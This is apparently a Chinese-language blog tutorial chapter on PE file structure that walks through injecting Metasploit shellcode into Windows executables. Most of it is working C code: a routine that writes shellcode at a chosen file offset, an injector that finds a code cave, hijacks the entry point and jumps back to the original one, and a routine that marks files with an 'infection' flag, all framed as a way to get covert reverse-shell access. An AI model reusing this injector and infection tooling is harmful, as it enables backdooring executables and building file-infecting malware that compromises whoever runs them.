2.12 PE结构:实现PE字节注入
本章笔者将介绍一种通过Metasploit生成ShellCode并将其注入到特定PE文件内的Shell注入技术。该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。
字节注入功能调用WritePEShellCode
函数,该函数的主要作用是接受用户传入的一个文件位置,并可以将一段通过Metasploit
工具生成的有效载荷注入到特定文件偏移位置处。
读者在使用该函数之前需要通过WinHex
找到注入位置,我们以如下截图中的30352
为例;
接着读者需要自行准备一段ShellCode
代码,只保留代码部分去掉头部变量参数,如下所示;
接着我们使用如下这段代码中的WritePEShellCode
函数,通过传入指定PE文件路径,指定文件便宜,以及指定的ShellCode
文件路径,即可自动将其压缩为一行并在压缩后将代码写出到指定的可执行文件内。
// 将ShellCode写出到PE程序的特定位置
// 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
HANDLE hFile = NULL;
FILE* fpointer = NULL;
DWORD dwNum = 0;
int count = 0;
char shellcode[8192] = { 0 };
unsigned char save[8192] = { 0 };
// 打开一段ShellCode代码并处理为一行
if ((fpointer = fopen(ShellCode, "r")) != NULL)
{
char ch = 0;
for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
{
if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
{
shellcode[x++] = ch;
count++;
}
}
}
_fcloseall();
// 将单字节合并为双字节
for (int x = 0; x < count / 2; x++)
{
unsigned int char_in_hex;
if (shellcode[x] != 0)
{
sscanf(shellcode + 2 * x, "%02X", &char_in_hex);
// 每十六字节换一行输出
if ((x+1) % 16 == 0)
{
printf("0x%02X \n", char_in_hex);
}
else
{
printf("0x%02X ", char_in_hex);
}
save[x] = char_in_hex;
}
}
// 打开PE文件并写出ShellCode到指定位置
hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE != hFile)
{
SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
if (true == ref)
{
printf("\n\n[*] 已注入 ShellCode 到PE文件 \n[+] 注入起始FOA => 0x%08X \n",FileOffset);
}
CloseHandle(hFile);
}
}
我们通过传入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");
参数,运行后则可将特定文本中的机器码注入到30352
的位置处,读者也可以通过使用WinHex
跳转到对应位置观察,如下所示;
当然了上述方法注入到PE
文件中我们需要手动分析寻找空余块,并在注入成功后还需要自行修正PE
文件内的入口地址等,这种方式适合于对PE
结构非常熟悉的人可以,但也要花费一些精力去寻找分析,如下代码则是实现了自动化注入功能,该代码中FindSpace()
函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的缝隙后便返回缝隙首地址。
此时dwOep
变量内存储的是该程序原始的OEP
入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]
也就是放入到shellcode
机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy
函数将shellcode
代码拷贝到新分配的dwAddr
内存中,此处的strlen(shellcode) + 3
代表的是ShellCode
中剩余的\xff\xe0\x00
部分,最后将当前EIP
指针设置为我们自己的ShellCode
所在位置,通过pNtHeader->OptionalHeader.AddressOfEntryPoint
赋值设置此变量,至此这个注入器就算实现啦。
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";
// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
// 跳过可选头长度的数据
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
// 获取到文件末尾的位置
DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
LPVOID lp = malloc(sizeof(shellcode));
memset(lp, 0, sizeof(shellcode));
while (dwAddr > pSec->Misc.VirtualSize)
{
int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
if (nRet == 0)
return dwAddr;
dwAddr--;
}
free(lp);
return 0;
}
int main(int argc, char* argv[])
{
HANDLE hFile, hMap = NULL;
LPVOID lpBase = NULL;
hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] 文件非可执行文件 \n");
return -1;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
// 查找空余字节
DWORD dwAddr = FindSpace(lpBase, pNtHeader);
printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);
// 获取到原入口地址
DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
// \xb8 => 填充的就是原始程序的OEP
*(DWORD *)&shellcode[5] = dwOep;
printf("[-] 原始入口地址: 0x%08X \n", dwOep);
// 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3
memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);
// 将新的入口地址,赋值给原始程序的地址上
pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
system("pause");
return 0;
}
读者可自行编译并运行上述代码,当运行结束后会将ShellCode
全局变量中的指令集,写入到lyshark.exe
程序内,并修正当前程序的OEP
入口处,此时读者可运行lyshark.exe
程序,看是否能够正常执行起来,如下图所示;
此时读者可自行打开x64dbg
调试器,观察此时的程序入口处已经变成了0x47BFF3
执行到最后则通过jmp eax
跳转到了原始的程序入口处继续执行,这也就是空字节注入的功能,当读者自己将nop
指令替换为任意特殊的汇编指令时,也就实现了一款注入Shell版本的软件。
当我们对特定的程序插入Shell后,则还需要对该程序增加一个标志,在PE结构中有许多地方可以写入这个标志,例如DOS
头部存在一个e_cblp
变量,通过向该变量写入一个标志,当需要判断是否被感染时读取此处并检查是否存在特定值即可,如下代码则是一个检查实现方式。
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
#define VIRUSFLAGS 0xCCCC
// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
DWORD dwNum = 0;
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
return TRUE;
}
// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
DWORD dwSigNum = 0;
DWORD dwNum = 0;
SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);
if (dwSigNum == dwSig)
return TRUE;
return FALSE;
}
int main(int argc, char* argv[])
{
HANDLE hFile, hMap = NULL;
LPVOID lpBase = NULL;
hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
printf("[-] 文件非可执行文件 \n");
return -1;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
// 写入感染标志
WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);
// 返回真说明感染过
if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
{
printf("[+] 文件已被感染,无法重复感染. \n");
}
system("pause");
return 0;
}
由于e_cblp
是第二个字段,所以在填充后我们打开WinHex
就可以看到变化,如下图所示;
2.12 PE结构:实现PE字节注入的更多相关文章
- 【PE结构】由浅入深PE基础学习-菜鸟手动查询导出表、相对虚拟地址(RVA)与文件偏移地址转换(FOA)
0 前言 此篇文章想写如何通过工具手查导出表.PE文件代码编程过程中的原理.文笔不是很好,内容也是查阅了很多的资料后整合出来的.希望借此加深对PE文件格式的理解,也希望可以对看雪论坛有所贡献.因为了解 ...
- PE病毒初探——向exe注入代码
PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度: PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE.DLL.OCX.SYS.COM都是PE文件 ...
- 编写自定义PE结构的程序(如何手写一个PE,高级编译器都是编译好的PE头部,例如MASM,TASM等,NASM,FASM是低级编译器.可以自定义结构)
正在学PE结构...感谢个位大哥的文章和资料...这里先说声谢谢 一般高级编译器都是编译好的PE头部,例如MASM,TASM等一直都说NASM,FASM是低级编译器.可以自定义结构但是苦于无人发布相关 ...
- 【转】pe结构详解
(一)基本概念 PE(Portable Execute)文件是Windows下可执行文件的总称,常见的有DLL,EXE,OCX,SYS等, 事实上,一个文件是否是PE文件与其扩展名无关,PE文件可以是 ...
- 羽夏笔记——PE结构(不包含.Net)
写在前面 本笔记是由本人独自整理出来的,图片来源于网络.本人非计算机专业,可能对本教程涉及的事物没有了解的足够深入,如有错误,欢迎批评指正. 如有好的建议,欢迎反馈.码字不易,如果本篇文章有帮助你 ...
- 羽夏壳世界—— PE 结构(上)
羽夏壳世界之 PE 结构(上),介绍难度较低的基本 PE 相关结构体.
- PE结构学习笔记--关于AddressOfEntryPoint位置在文件中怎么确定问题
第一次学习PE结构,也不知道有没有更好的办法. 1.AddressOfEntryPoint 这个成员在OptionalHeader里面,OptionalHeader的类型是一个IMAGE_OPTION ...
- 关于pe结构
每一种操作系统它最重要的格式就是它的可执行文件格式, 因为操作系统就是为了支持这些文件而生成的,内核里面有很多机制,也是配合这种文件格式设计的. 换句话说,这种文件格式也是适合操作系统设计的. 比如: ...
- Win32汇编-编写PE结构解析工具
汇编语言(assembly language)是一种用于电子计算机.微处理器.微控制器或其他可编程器件的低级语言,亦称为符号语言.在汇编语言中,用助记符(Mnemonics)代替机器指令的操作码,用地 ...
- 修改记事本PE结构弹计算器Shellcode
目录 修改记事本PE结构弹计算器Shellcode 0x00 前言 0x01 添加新节 修改节数量 节表位置 添加新节表信息 0x02 添加弹计算器Shellcode 修改代码 0x03 修改入口点 ...
随机推荐
- GPT-4多态大模型研究
1.概述 GPT-4是OpenAI最新的系统,能够产生更安全和更有用的回应.它是一个大型的多模态模型(接受图像和文本输入,输出文本),在各种专业和学术的基准测试中展现了人类水平的表现.例如,它在模拟的 ...
- Isito 入门:为什么学 Istio、Istio 是什么
1,Istio 概述 聊聊微服务设计 似乎用上 Kubernetes ,就是微服务系统了. 碰到很多人或公司盲目崇拜 Kubernetes ,一直喊着要上 Kubernetes,但是本身既没有技术储备 ...
- 在C++中,传值还是传引用?
情况一:需要修改原对象 需要修改原对象的情况,必须要传引用.这种情况没什么要说的. 情况二:不需要修改原对象 对于内置类型(整数.浮点数.字符类型等),传值效率更高.主要有三点原因: 内存开销更小.由 ...
- 一文吃透Java并发高频面试题
内容摘自我的学习网站:topjavaer.cn 分享50道Java并发高频面试题. 线程池 线程池:一个管理线程的池子. 为什么平时都是使用线程池创建线程,直接new一个线程不好吗? 嗯,手动创建线程 ...
- “AI Earth”人工智能创新挑战赛:助力精准气象和海洋预测Baseline[1]、NetCDF4使用教学、Xarray 使用教学,针对气象领域.nc文件读取处理
1."AI Earth"人工智能创新挑战赛:助力精准气象和海洋预测Baseline[1].NetCDF4使用教学.Xarray 使用教学,针对气象领域.nc文件读取处理 比赛官网: ...
- 2023-06-08:给你一棵二叉树的根节点 root ,返回树的 最大宽度 。 树的 最大宽度 是所有层中最大的 宽度 。 每一层的 宽度 被定义为该层最左和最右的非空节点(即,两个端点)之间的长度
2023-06-08:给你一棵二叉树的根节点 root ,返回树的 最大宽度 . 树的 最大宽度 是所有层中最大的 宽度 . 每一层的 宽度 被定义为该层最左和最右的非空节点(即,两个端点)之间的长度 ...
- celery笔记三之task和task的调用
本文首发于公众号:Hunter后端 原文链接:celery笔记三之task和task的调用 这一篇笔记介绍 task 和 task 的调用. 以下是本篇笔记目录: 基础的 task 定义方式 日志处理 ...
- 使用Mybatis生成树形菜单-适用于各种树形场景
开发中我们难免会遇到各种树形结构展示的场景.比如用户登录系统后菜单的展示,某些大型购物网站商品的分类展示等等,反正开发中会遇到各种树形展示的功能,这些功能大概处理的思路都是一样的,所以本文就总结一下树 ...
- ModelBox实战开发:RK3568实现摄像头虚拟背景
摘要:本文将使用ModelBox端云协同AI开发套件(RK3568)实现摄像头虚拟背景AI应用的开发. 本文分享自华为云社区<ModelBox开发案例 - RK3568实现摄像头虚拟背景[玩转华 ...
- 「学习笔记」CDQ分治
CDQ 分治的思想最早由 IOI2008 金牌得主陈丹琦在高中时整理并总结,目前这个思想的拓展十分广泛. 优点:可以将数据结构或者 DP 优化掉一维 缺点:这是离线算法. 引入 让我们来看一个问题 有 ...